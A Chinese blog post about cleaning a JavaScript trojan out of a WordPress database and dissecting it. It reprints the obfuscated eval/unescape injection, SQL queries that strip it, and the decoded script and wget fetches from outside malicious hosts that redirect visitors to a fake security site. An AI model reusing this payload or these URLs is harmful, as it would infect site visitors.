网站地图    收藏   

主页 > 后端 > 网站安全 >

wordpress被挂马的清理过程兼木马解剖简记 - 网站

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 今天真的载了,居然wordpress也被挂马了,太不可思议了。事情如下:晚上发篇文章,突然想到了一个对wordpress进行改进的方案,图片/附件与web分离,当然这个需求可能极少见,因为大多...

今天真的载了,居然wordpress也被挂马了,太不可思议了。
 
事情如下:
 
晚上发篇文章,突然想到了一个对wordpress进行改进的方案,图片/附件与web分离,当然这个需求可能极少见,因为大多数wordpress都不会遇到这样的问题:空间不够用(直接升级主机了)、对附件的下载打开严重影响到web (如html,css,js)的访问速度。
 
但进入后台,看到快速发文章的内容框里很怪异,默认就有下面的一段文字,js代码,下面的最近草稿也显示有类似的js代码,心下不好,可能是被挂马了。不过还好,前几天为了试用新买vps性能,把整个wordpress数据库备份了一份,看来还真是所幸。
 
没有马上理会,记下wp改进方案,但没写几个字,感觉心里不舒服,wp的影响到底有多大,还并不知道。于是在wp后台里随便查看文章,连phpmyadmin查看数据库,初步的评估是,并不严重,只发现了在文章内容字段最后加入了下面的一段js代码,应该并没有数据丢失。这个问题,处理很容易,数据库update就可以了。在进行操作之前,备份整个数据库,保留原始“罪证”材料。于是执行如本文后面附的sql代码,问题得以解决,不想同一个数据库里放的另一个wp也同样的被挂马了,于是同样代码处理之。得解,mysql数据库的其它表,没有仔细检验,大致扫了一下,应该没有挂。明天周五,该周末了,周末再仔细检查一下。
 
被挂马,定是有漏洞,但漏洞在哪里还并不得而知。也要到周末再查了。
 
数据备份很重要,要启动自动备份机制,还是要购买并安装到vps上更合适。vps可以容易设置服务器上的定时任务。
 
写这篇文章时,才意识到怪不得今天访问量比前几天明显的低,被挂马也能也就是其中一个原因,估计还是重要原因。之前还以为可能的目的访客都关注“盐”的问题去了。
这是一段JS木马,请一定谨慎,不要在浏览器中执行。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
清理木马的sql代码
 
update `pre_posts` set `post_content`=replace(`post_content`,'<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>','')
 
影响了4045 行。( 查询花费0.8925 秒)
 
-----------------------------
 
UPDATE `pre2_posts` SET `post_content` = replace( `post_content` , '<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>', '' )
 
影响了2174 行。( 查询花费3.1435 秒)
 
 
 
再次杯具的发现:
 
本周六上午,看到wordpress里有条留言,"在浏览你:“小杯具了,wordpress居然被挂马了/清理过程简记”这个帖子的时候发现自动跳转到一个网页,下载了几个。EXE 用360扫描后发现报病毒,下面是下载信息:pcupdate107_2129.exe http://www1.firstok-security.rr.nu/retkko107_2129.php?xtev4=nNra76uj2eTZ29CRotz 不知道是我浏览器问题还是怎么回事,当时我用scientific 加chrome",心下不好,当时好像是使用wordpress后台发文章时,好像是使用的html代码模式,而不是可视化编辑器模式,直接把js的木马帖进去,那岂不是自己给自己种了木马?! 马上查看文章,速度很慢;为了安全起见趁页面还没有打开,关闭了firefox的js(使用js switch插件实现)。果然,html源代码里那个木马静静的躺着,好像在呲牙咧嘴的嘲笑着我,马上把整个html剪切出来,稍作修饰,切换到可视化编辑器下贴进去。html里的<,>就被自动转义为&lt;与&gt;这样就不会被浏览器当作js代码执行了。——废话了——修改完毕后,对这只木马要解剖一下,这也是前天写篇文章时想做的,但因为已经是深夜12点多,而暂放下。
 
致谢:
 
——上面所说的留言由“标点sign555.blog.51cto.com”所发,在这里深表由衷的感谢!!
 
 
 
木马解剖:
 
这是一段JS木马,请一定谨慎,不要在浏览器中执行。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。
 
新建一个.html文件,内容如下:
 
<script>document.write(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script> 在chrome里查看,但得到提示消息:

 

\

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马(一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

 
使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下
 

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>\

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');
看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。
 
看看它是什么东西,要有点探索精神~~
 
这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?
 
[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33
[feng@fsc tmp]$ cat js.php\?kk\=33
 
function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;
 
}
 
function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
 }
 
if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";
 
window.top.location.replace(derverv);
 }
 
还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:
 
wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D
以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:
 
xxx.js.html.zip 木马文件,慎重下载
还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数
 
[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机lessthenaminutehandle.com... 91.193.194.110
正在连接lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”
 
100%[======================================>] 573         --.-K/s   in 0s     
 
2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32”[573/573])
 
[feng@fsc tmp]$ cat js.php\?kk\=32
 
function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;
 
}
 
function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}
 
if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";
 
 window.top.location.replace(derverv);
}
好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!
 
貌似很复杂,都十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。
 
突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”
 
 
 摘自http://blog.path8.net/archives/4201.html

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论